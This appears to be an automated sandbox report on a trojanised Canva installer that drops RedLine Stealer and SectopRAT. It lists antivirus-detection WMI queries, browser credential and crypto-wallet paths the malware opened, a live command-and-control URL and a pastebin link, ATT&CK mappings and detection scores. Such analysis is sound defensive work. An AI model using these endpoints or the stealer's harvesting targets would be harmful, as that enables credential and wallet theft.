Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7e460874 VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: 15.2.more.com.56100c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.MSBuild.exe.770000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.more.com.56100c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.more.com.55800c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.more.com.55800c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2653781930.0000000005610000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2653978142.0000000000772000.00000002.00000001.01000000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2392668507.0000000005580000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: more.com PID: 4548, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: more.com PID: 6880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 340, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\jotnemib, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\kdtvqgf, type: DROPPED

Yara detected SectopRAT

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 1464, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior

Yara detected Credential Stealer

Source: Yara match	File source: 15.2.more.com.56100c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.MSBuild.exe.770000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.more.com.56100c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.more.com.55800c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.more.com.55800c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2653781930.0000000005610000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2653978142.0000000000772000.00000002.00000001.01000000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2392668507.0000000005580000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: more.com PID: 4548, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 1464, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: more.com PID: 6880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 340, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\jotnemib, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\kdtvqgf, type: DROPPED

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: 15.2.more.com.56100c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.MSBuild.exe.770000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.more.com.56100c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.more.com.55800c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.more.com.55800c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2653781930.0000000005610000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2653978142.0000000000772000.00000002.00000001.01000000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2392668507.0000000005580000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: more.com PID: 4548, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: more.com PID: 6880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 340, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\jotnemib, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\kdtvqgf, type: DROPPED

Yara detected SectopRAT

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 1464, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	11 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	2 Registry Run Keys / Startup Folder	11 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	223 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	12 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	212 Process Injection	1 Abuse Elevation Control Mechanism	Security Account Manager	431 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	2 Registry Run Keys / Startup Folder	3 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Software Packing	LSA Secrets	251 Virtualization/Sandbox Evasion	SSH	Keylogging	2 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Masquerading	DCSync	2 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	251 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	212 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
9VbeqQbgU4.exe	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\Canva\Canva.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\Canva\Uninstall Canva.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\Canva\d3dcompiler_47.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Canva\ffmpeg.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Canva\is-30SPE.tmp	0%	ReversingLabs
C:\Program Files (x86)\Canva\is-9L22V.tmp	0%	ReversingLabs
C:\Program Files (x86)\Canva\is-9V9DF.tmp	0%	ReversingLabs
C:\Program Files (x86)\Canva\is-FAJC4.tmp	0%	ReversingLabs
C:\Program Files (x86)\Canva\is-KS3DD.tmp	0%	ReversingLabs
C:\Program Files (x86)\Canva\is-MJD08.tmp	0%	ReversingLabs
C:\Program Files (x86)\Canva\is-NHDMN.tmp	0%	ReversingLabs
C:\Program Files (x86)\Canva\is-NTUV2.tmp	0%	ReversingLabs
C:\Program Files (x86)\Canva\libEGL.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Canva\libGLESv2.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Canva\resources\elevate.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\Canva\resources\is-EK79G.tmp	0%	ReversingLabs
C:\Program Files (x86)\Canva\vk_swiftshader.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Canva\vulkan-1.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-LLPRR.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\jotnemib	71%	ReversingLabs	ByteCode-MSIL.Ransomware.RedLine
C:\Users\user\AppData\Local\Temp\kdtvqgf	71%	ReversingLabs	ByteCode-MSIL.Ransomware.RedLine
C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	38%	ReversingLabs	Win64.Trojan.Generic
C:\Users\user\AppData\Roaming\sto\BITA54F.tmp	38%	ReversingLabs	Win64.Trojan.Generic
C:\Users\user\AppData\Roaming\sto\coml.exe (copy)	38%	ReversingLabs	Win64.Trojan.Generic

Source	Detection	Scanner	Label
https://mel549.typeform.com/to/MH7W1Y	0%	Avira URL Cloud	safe
http://vovsoft.com/blog/how-to-uninstall-vovsoft-software/	0%	Avira URL Cloud	safe
http://45.141.84.168	0%	Avira URL Cloud	safe
http://vovsoft.comopen	0%	Avira URL Cloud	safe
http://45.141.84.168:9000/wbinjget?q=8587D7BC4236146899B093C1B42EFE08P	0%	Avira URL Cloud	safe
http://vovsoft.com/blog/how-to-activate-using-license-key/open	0%	Avira URL Cloud	safe
http://45.141.84.168:9000/wbinjget?q=8587D7BC4236146899B093C1B42EFE08	0%	Avira URL Cloud	safe
https://vovsoft.com/translation/	0%	Avira URL Cloud	safe
http://schemas.datacontract.org/2004/07/h	0%	Avira URL Cloud	safe
http://ghiblipic.tumblr.com/image/176076545875	0%	Avira URL Cloud	safe
http://45.141.84.168:9000/wbinjget?q=8587D7BC4236146899B093C1B42EFE08/	0%	Avira URL Cloud	safe
https://vovsoft.com/blog/credits-and-acknowledgements/H	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://45.141.84.168:9000/wbinjget?q=8587D7BC4236146899B093C1B42EFE08	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://vovsoft.comopen	dobi.exe, 00000008.00000002.2244640646.000001F7172FF000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000008.00000000.2181647992.0000000000341000.00000020.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000000.2545898832.00000000010E4000.00000020.00000001.01000000.00000011.sdmp	false	Avira URL Cloud: safe	unknown
https://canva-embed.com/api/iframe?url=https%3A%2F%2Fflickr.com%2Fphotos%2Fjapveloso%2F6810496891&am	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	MSBuild.exe, 0000000C.00000002.2921996960.00000000031DD000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2945399112.0000000003EA0000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003305000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003271000.00000004.00000800.00020000.00000000.sdmp	false		high
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	9VbeqQbgU4.exe	false		high
https://mel549.typeform.com/to/MH7W1Y	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	MSBuild.exe, 0000000C.00000002.2921996960.00000000031DD000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.000000000323A000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.00000000032CE000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2945399112.0000000003EA0000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003305000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003271000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.flickr.com/photos/japveloso/6810496891/	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.vmware.com/0	dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://giphy.com/embed/3ohhwznSVuwXu6RnEY/twitter/iframe	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	9VbeqQbgU4.tmp, 00000001.00000002.2501521506.0000000000CEC000.00000004.00000010.00020000.00000000.sdmp	false		high
https://support.google.com/chrome/answer/6098869	is-C12V6.tmp.1.dr, is-P8KJC.tmp.1.dr	false		high
https://www.google.com/chrome/privacy/eula_text.htmlP&al	is-P8KJC.tmp.1.dr	false		high
https://chrome.google.com/webstore?hl=plCtrl$1	is-C12V6.tmp.1.dr	false		high
http://vovsoft.com/blog/how-to-uninstall-vovsoft-software/	dobi.exe, 00000008.00000002.2244640646.000001F7172FF000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000008.00000000.2181647992.0000000000341000.00000020.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000000.2545898832.00000000010EA000.00000020.00000001.01000000.00000011.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.11.dr	false		high
http://vovsoft.com/blog/how-to-activate-using-license-key/open	dobi.exe, 00000008.00000002.2244640646.000001F7172FF000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000008.00000000.2181647992.0000000000341000.00000020.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000000.2545898832.00000000010DE000.00000020.00000001.01000000.00000011.sdmp	false	Avira URL Cloud: safe	unknown
http://www.indyproject.org/	dobi.exe, 00000008.00000002.2244640646.000001F7172FF000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000008.00000000.2181647992.0000000000341000.00000020.00000001.01000000.0000000A.sdmp, dobi.exe, 00000008.00000002.2230293150.000001F714F2E000.00000004.00001000.00020000.00000000.sdmp, coml.exe, 0000000E.00000002.2589470704.0000018D136AE000.00000004.00001000.00020000.00000000.sdmp	false		high
https://codepen.io/onion2k/pen/BGrXEO	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
https://pastebin.com/raw/cLika3dt	MSBuild.exe, 00000011.00000002.2663039648.0000000002891000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.canva.com/static/images/favicons/favicon_app_print.svg	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod.C:	edb.log.11.dr	false		high
https://photos.google.com/settings?referrer=CHROME_NTP	is-C12V6.tmp.1.dr, is-P8KJC.tmp.1.dr	false		high
https://static.canva.com/static/images/favicon-1.ico	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=pl&category=theme81https://myactivity.google.com/myactivity/?u	is-C12V6.tmp.1.dr	false		high
https://www.remobjects.com/ps	9VbeqQbgU4.exe, 00000000.00000003.1678083885.0000000002A60000.00000004.00001000.00020000.00000000.sdmp, 9VbeqQbgU4.exe, 00000000.00000003.1678498917.000000007EFBB000.00000004.00001000.00020000.00000000.sdmp, 9VbeqQbgU4.tmp, 00000001.00000000.1680042613.0000000000321000.00000020.00000001.01000000.00000004.sdmp	false		high
http://45.141.84.168	MSBuild.exe, 0000000C.00000002.2921996960.0000000002E7C000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000002E90000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000002EF4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://chromeenterprise.google/policies/#BrowserSwitcherExternalGreylistUrl	is-C12V6.tmp.1.dr, is-P8KJC.tmp.1.dr	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000005.00000002.2230696323.00000000065D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.innosetup.com/	9VbeqQbgU4.exe, 00000000.00000003.1678083885.0000000002A60000.00000004.00001000.00020000.00000000.sdmp, 9VbeqQbgU4.exe, 00000000.00000003.1678498917.000000007EFBB000.00000004.00001000.00020000.00000000.sdmp, 9VbeqQbgU4.tmp, 00000001.00000000.1680042613.0000000000321000.00000020.00000001.01000000.00000004.sdmp	false		high
https://www.canva.com/help	9VbeqQbgU4.exe, 00000000.00000003.2506503962.00000000025A6000.00000004.00001000.00020000.00000000.sdmp	false		high
https://coub.com/view/1awn3i	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
https://chromestatus.com/features#browsers.chrome.status%3A%22Deprecated%22	is-C12V6.tmp.1.dr, is-P8KJC.tmp.1.dr	false		high
https://static.canva.com/static/images/favicons/favicon_app_docs.svg	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.2220622751.0000000004B71000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000002D81000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 0000000B.00000003.2239961611.000001EFC76C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.11.dr	false		high
https://www.google.com/chrome/privacy/eula_text.htmlPomo&cZarz	is-C12V6.tmp.1.dr	false		high
http://ghiblipic.tumblr.com/image/176076545875	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://media.giphy.com/media/3ohhwznSVuwXu6RnEY/giphy.gif	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
https://player.vimeo.com/video/271228005?byline=0&badge=0&portrait=0&title=0	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
https://vimeo.com/271228005	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
https://pastebin.com/raw/cLika3dtPOkq9	MSBuild.exe, 00000011.00000002.2663039648.0000000002891000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.com/chromebook?p=app_intent	is-C12V6.tmp.1.dr, is-P8KJC.tmp.1.dr	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000005.00000002.2220622751.0000000004CC6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000005.00000002.2220622751.0000000004CC6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.datacontract.org/2004/07/	MSBuild.exe, 0000000C.00000002.2921996960.0000000002D81000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000002EF4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000005.00000002.2220622751.0000000004CC6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://vovsoft.com/translation/	powershell.exe, 00000005.00000002.2333840667.000000000AA5A000.00000004.00000800.00020000.00000000.sdmp, dobi.exe, 00000008.00000002.2244640646.000001F7172FF000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000008.00000000.2181647992.0000000000341000.00000020.00000001.01000000.0000000A.sdmp, dobi.exe, 00000008.00000002.2244640646.000001F717C8C000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000008.00000000.2191379305.0000000000CF8000.00000002.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000000.2545898832.0000000001119000.00000020.00000001.01000000.00000011.sdmp	false	Avira URL Cloud: safe	unknown
